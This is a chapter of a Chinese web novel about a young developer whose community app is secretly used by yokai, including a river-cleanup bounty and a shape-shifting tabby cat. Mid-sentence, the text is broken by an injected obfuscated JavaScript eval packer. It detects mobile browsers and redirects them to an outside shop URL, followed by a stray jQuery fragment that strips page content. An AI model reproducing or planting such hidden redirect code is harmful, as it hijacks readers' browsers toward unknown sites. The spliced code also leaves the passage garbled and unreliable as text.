昨夜的雨下到后半夜就停了,清晨的阳光透过薄纱窗帘漫进来,在地板上铺了一层浅金。

    温楹醒的时候才八点多,比定的闹钟早了近一个小时,脑子里还残留着梦里毛茸茸的狐狸尾巴触感。

    她趿着拖鞋坐到电脑前,按亮屏幕的第一件事就是点开《城灵互助》的管理后台。

    和前两天火箭式暴涨的势头不同,今天用户数涨得慢了些,停在342,在线人数却没降,求助板块一夜之间冒出来十几条新帖,比昨天刚上线时热闹了一倍。

    小妖们似乎已经摸透了新功能的用法,求助帖五花八门:有求帮忙找丢失的猫罐头的,有想换花蜜配方的,还有问哪里能捡到好看石头的,细碎又鲜活,像个藏在网络里的小小邻里社区。

    最顶的那条帖子标着最高悬赏,醒目地挂在板块第一。发帖人ID是“河神”,标题简单直白:《清溪河城区段垃圾清理,委托任务》。

    帖子内容更简短,只有一句话:暴雨过后,河道漂浮垃圾增多,寻同族帮忙清理沿岸及水面杂物,按量结算,单次足额20积分。

    下面回复已经堆了二十多条,热闹得很。

    【狸花花】:我来我来!我熟!每天都在河边晃!

    【狐小九】:我送外卖顺路可以捡塑料瓶!就是任务超时应该不扣积分吧,我积分不多QAQ

    【柳婆婆】:年纪大了下不去水,我可以捡岸边的包装袋,算半份就行啦。

    【山精阿黄】:我明天进城送山货!可以顺路清理!不要积分,能帮上河神大人的忙就好!

    温楹盯着【河神】这个ID愣了愣,总觉得眼熟。

    她翻出后台注册日志,拉到最顶端——第一条注册记录赫然就是【河神】,注册时间是APP上线当晚的零点零一分,比其他批量涌入的用户早了快两个小时。

    当时她扫过一眼,见头像是系统默认灰影,ID也是随机生成的,直接当成了云服务商送的机器人充数号,压根没往心里去。

    不知道什么时候,对方换了头像。

    她点开放大了看,是一汪平静的河水,水面泛着细碎的银波光,岸边垂着几枝嫩柳条,正是穿城而过的清溪河的样子。

    画风朴实无华,和她大学辅导员的泰山日出头像、福利院院长的荷花鲤鱼头像简直异曲同工,标准的长辈审美。

    “合着是位住在河边的退休大爷啊。”温楹自言自语着,心里却在琢磨。

    这个注册时间太巧了,除非是正好刷到她社区帖子的人,不然就是服务商的机器人号有真人运营,怎么想都觉得蹊跷。

    而且一出手就是二十积分悬赏,手笔可不小。要知道新用户注册才送一百初始积分,每日签到加五,APP上线满打满算不到三天,省着点用也就攒个一百三十多分,这个长期任务不限制人数,岂不是一下就把积分掏空了,简直是“妖界慈善家”。

    不过人家想怎么使用积分是人家的事,有想攒积分的,就有喜欢花积分的嘛。她对着帖子想了会儿,没继续纠结,干脆顺手给帖子加了个精。保护环境人人有责,这种好事必须置顶支持。

    至于亲自下场帮忙……她看了看自己细胳膊细腿,果断放弃。河道清理是体力活,她这久坐电脑前的身子骨,下去捡半袋垃圾就得累瘫。

    与其亲自上阵,不如把APP功能再细化细化,提高大家的积极性。

    温楹托着腮想,是时候上线积分兑换板块了。目前没条件搞实体奖品,先做几款虚拟徽章撑场面也不错,比如“勤劳卫士”颁给常做任务的,“热心助人”给消息灵通、爱替人答疑解惑的,再整个“天道认证好妖”的最高荣誉,挂在个人主页上当称号,满足一下大家的收集欲,应该挺有吸引力。

    代码逻辑好写,她噼里啪啦敲了十几分钟就把框架搭完了,可到了徽章设计环节,直接卡了壳。

    她的画画水平仅限于画简笔云朵,做出来的徽章怕是能丑得这群玩角色扮演的小妖们集体退游。试了半天,画出来的星星歪歪扭扭,奖牌像个压扁的月饼,惨不忍睹。

    “不行不行,太丢天道的脸了。”温楹果断放弃,把素材文件夹存好,备注上“等舒颜回来救急”。

    王舒颜是她大学室友,艺术系设计专业的,毕业旅行和家里人去了西北,再过几天就回来了。到时候把设计活甩给她,大不了请吃顿火锅,对方肯定乐意。

    这一埋头写代码,时间过得飞快。等她再次回神,窗外的阳光已经挪了位置,电脑右下角的时间跳到了十二点。

    正午的太阳最毒,热浪裹着蝉鸣从窗缝钻进来,刚站起身就觉得浑身发黏。温楹本来打算出门吃饭,扒着窗户往下看了眼,柏油路都被晒得泛着白光,瞬间就打消了念头——地面现在肯定烫得能煎熟鸡蛋,谁也不想出去遭这个罪。

    她翻了翻零食柜,只剩半包苏打饼干,还是上周剩下的。

    “算了,先垫垫吧。”她嘟囔着拆开包装袋,就着凉白开啃了两块。饼干干巴巴的没什么味道,但胜在方便,不用出门受热。等下午太阳斜了,再去超市补货,顺便吃顿好的当晚饭。

    抱着这个念头,她又坐回电脑前,接着打磨任务结算的逻辑,给个人主页加了个称号展示位。写写改改,不知不觉就到了下午六点多。

    窗外的阳光终于软了下来,橙金色的夕阳斜斜地照进来,暑气退了大半,连风都带着点凉意。温楹伸了个懒腰,骨头咔咔作响,肚子也适时地咕咕叫了起来。

    粮食储备彻底告急,是时候出门了。

    最近天天吃面条凑活,都快变成面条人了,今天必须犒劳自己一顿。

    戴上遮阳帽,温楹揣上手机钥匙出了门。她没走河边步道绕路,顺着大马路径直往超市走,二十分钟就到了地方。一头扎进超市冷气里的那一刻,她长长舒了口气,浑身的燥热都散了大半。

    她推了辆购物车,先直奔食品区补货。番茄味、红烧味的泡面各拿两袋,挂面一袋,再拿几包速冻饺子和汤圆当存货,又顺手抓了两包苏打饼干当应急口粮。走到冷藏柜前,又经不住诱惑买了一桶鲜牛奶。

    日用品区拿了卷纸和洗衣液,路过文具区的时候,她顺手拿了几张彩色卡纸和细马克笔。徽章设计等舒颜回来是正事,但她自己也可以先练练手,万一开窍了呢。

    逛了快四十分钟,结账的时候花了八十多块。只出不进的生活让人有些悲伤,不过想到能吃好几周,又觉得值当。

    等APP稳定下来之后,就去接点外包工作好了。

    温楹提着两大袋东西走出超市,天已经擦黑了。旁边的云吞店飘出阵阵鲜香,勾得她肚子又叫了起来。来都来了,正好把晚饭解决了。

    她径直走进去,点了一碗小份的椒麻干拌鲜虾蟹籽云吞,店里人不多,冷气开得很足。找了个靠窗的位置坐

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17698328|208046||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    下,她掏出手机,习惯性点开了APP后台。

    河神的那条清理任务,已经有8个用户接单了,还有模有样附上了照片,根据数量陆陆续续分走了一大半积分。

    她刷了一会留言板,恍惚间觉得有点像大学时组织的社会实践公益活动。

    没一会儿云吞就端上来了。红油裹着饱满的云吞,撒着花生碎和葱花,麻香扑鼻。

    温楹夹起一个咬了一口,鲜虾的鲜甜和蟹籽的颗粒感在嘴里散开,椒麻的味道刚刚好,香得她眼睛都眯了起来。一顿饭吃得心满意足,连带着近日写代码的疲惫都淡了几分。

    吃完饭出来,天色彻底暗了下来,路边的路灯一盏盏亮起来。温楹提着两大袋东西,选了沿河步道往回走。

    傍晚风凉,河边比大马路舒服得多。远远的能看见牵着狗散步的老人,还有夜跑的成年人。晚风裹着河水的湿气吹过来,带着淡淡的水草气息,吹得人浑身舒畅。温楹埋着头,提着袋子沿着河边慢慢走。

    走着走着,眼角余光忽然瞥见前方护栏边站着个人。

    她下意识抬眼扫了一下。

    这一看,哪里有什么人影?

    护栏根蹲着一只漂亮的狸花猫,棕黑相间的虎斑纹清清楚楚,毛被河风吹得微微蓬着,嘴里边还叼着个空塑料瓶。

    刚一对上视线,它就松开叼着瓶身的嘴,抬起头对着她软乎乎咪呜了一声,琥珀色的眼睛圆溜溜的,在路灯下亮得像浸了蜜的玻璃球。

    温楹的心一下就化了。

    脚步都下意识停住了,指尖蠢蠢欲动想撸猫,下一秒又垮了脸——早知道能碰见小猫咪,刚才在超市就顺手拿包猫条了!千算万算,怎么就漏了这茬呢。

    她站在原地盯着猫看,目光实在太炽热,狸花猫歪了歪脑袋,抖了抖耳尖沾着的水珠,往前迈了两步,就地熟练地打了个滚,四脚朝天地摊开,露出粉粉的肚皮,尾巴尖轻轻晃着,一副“随便摸”的大方模样。

    温楹:“……”

    更想撸了。

    可她两手都提着沉甸甸的购物袋,连个能腾出来摸猫的手都没有,更别说拿吃的喂它了。一人一猫就这么隔着两三米远,你看我我看你,安静地对峙了好几秒。

    最后还是狸花猫先动了。它像是看出来这人没带吃的,也没强求,慢悠悠地从地上爬起来,抖了抖身上沾的草屑和水汽,重新叼起瓶子,迈着猫步钻进了路边的冬青丛里,几下就没了影子。

    温楹站在原地愣了会儿,才后知后觉地眨了眨眼。

    怎么总觉得这只狸花猫有点眼熟?好像在哪见过似的。

    ……大概是狸花猫都长差不多吧。她暗自嘀咕着,收回目光,提着袋子继续往家走。刚才那点“好像看见了人”的错觉,也全当是自己眼花看错了。

    她没看见,冬青丛后面的空地上,整整齐齐码着三堆分类好的塑料瓶和废包装袋。

    少年蹲在地上,额前的黑发还湿乎乎地贴在额角,发梢滴着水。他甩了甩还带着猫科特征的手,指尖还留着软乎乎的肉垫痕迹,摸出手机对准地上的垃圾找角度,临了还不忘抬起另一只爪子,比了个歪歪扭扭的耶。

    屏幕亮起,苔绿色的APP界面跳出来,他指尖点了点“提交任务完成”,把照片传了上去。

    做完这一切,他才满意地收起手机,抓起地上的打包袋把垃圾一卷,踮着脚跳进了更深的夜色里。